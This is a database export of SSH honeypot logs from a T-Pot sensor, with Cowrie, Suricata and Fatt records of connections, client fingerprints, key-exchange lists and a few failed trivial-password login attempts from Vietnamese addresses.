23285	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.178645+03	2021-09-20 14:15:07.31147+03	{"_id": "YQbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6f1c7e7ae25d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:14.178645Z", "@timestamp": "2021-09-20T11:07:14.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23286	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:14.247443+03	2021-09-20 14:15:07.31247+03	{"_id": "YgbjAnwBvYTbRNuEegjd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1521779581482686, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60514, "dest_port": 22, "timestamp": "2021-09-20T11:07:14.247443Z", "@timestamp": "2021-09-20T11:07:14.247Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23287	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:14.831955+03	2021-09-20 14:15:07.313471+03	{"_id": "aAbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33854 (192.168.176.2:22) [session: d6f8356224b5]", "session": "d6f8356224b5", "@version": "1", "protocol": "ssh", "src_port": 33854, "dest_port": 22, "timestamp": "2021-09-20T11:07:14.831955Z", "@timestamp": "2021-09-20T11:07:14.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23289	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.674956+03	2021-09-20 14:15:07.31547+03	{"_id": "ZgbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [fish/fish] failed", "session": "55bf75b9d088", "@version": "1", "password": "fish", "username": "fish", "timestamp": "2021-09-20T11:07:14.674956Z", "@timestamp": "2021-09-20T11:07:14.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23290	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:14.446922+03	2021-09-20 14:15:07.317471+03	{"_id": "awbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [andy/andy] failed", "session": "d1e6d0a77d48", "@version": "1", "password": "andy", "username": "andy", "timestamp": "2021-09-20T11:07:14.446922Z", "@timestamp": "2021-09-20T11:07:14.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23291	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.78274+03	2021-09-20 14:15:07.31847+03	{"_id": "cQbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "579c1b78a46e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:14.782740Z", "@timestamp": "2021-09-20T11:07:14.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23292	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.806529+03	2021-09-20 14:15:07.32047+03	{"_id": "cgbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6f1c7e7ae25d", "@version": "1", "timestamp": "2021-09-20T11:07:14.806529Z", "@timestamp": "2021-09-20T11:07:14.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23293	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:16.180561+03	2021-09-20 14:15:07.32147+03	{"_id": "kwbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42036 (192.168.176.2:22) [session: fa9110283934]", "session": "fa9110283934", "@version": "1", "protocol": "ssh", "src_port": 42036, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.180561Z", "@timestamp": "2021-09-20T11:07:16.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23294	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.55596+03	2021-09-20 14:15:07.322471+03	{"_id": "qAbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40402 (192.168.176.2:22) [session: 53d318841bf2]", "session": "53d318841bf2", "@version": "1", "protocol": "ssh", "src_port": 40402, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.555960Z", "@timestamp": "2021-09-20T11:07:15.555Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23295	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.826823+03	2021-09-20 14:15:07.32347+03	{"_id": "uAbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33464 (192.168.176.2:22) [session: 8d4910fd90f3]", "session": "8d4910fd90f3", "@version": "1", "protocol": "ssh", "src_port": 33464, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.826823Z", "@timestamp": "2021-09-20T11:07:15.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23296	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:15.02434+03	2021-09-20 14:15:07.32547+03	{"_id": "wAbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56450, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.024340", "@timestamp": "2021-09-20T11:07:15.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23297	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.105076+03	2021-09-20 14:15:07.326471+03	{"_id": "pwbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8d4910fd90f3", "@version": "1", "timestamp": "2021-09-20T11:07:16.105076Z", "@timestamp": "2021-09-20T11:07:16.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23298	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.691095+03	2021-09-20 14:15:07.32747+03	{"_id": "xAbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d1e6d0a77d48", "@version": "1", "duration": 3.247267484664917, "timestamp": "2021-09-20T11:07:15.691095Z", "@timestamp": "2021-09-20T11:07:15.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23299	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.716286+03	2021-09-20 14:15:07.32847+03	{"_id": "xQbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3ac7616fff16", "@version": "1", "duration": 2.691251039505005, "timestamp": "2021-09-20T11:07:15.716286Z", "@timestamp": "2021-09-20T11:07:15.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
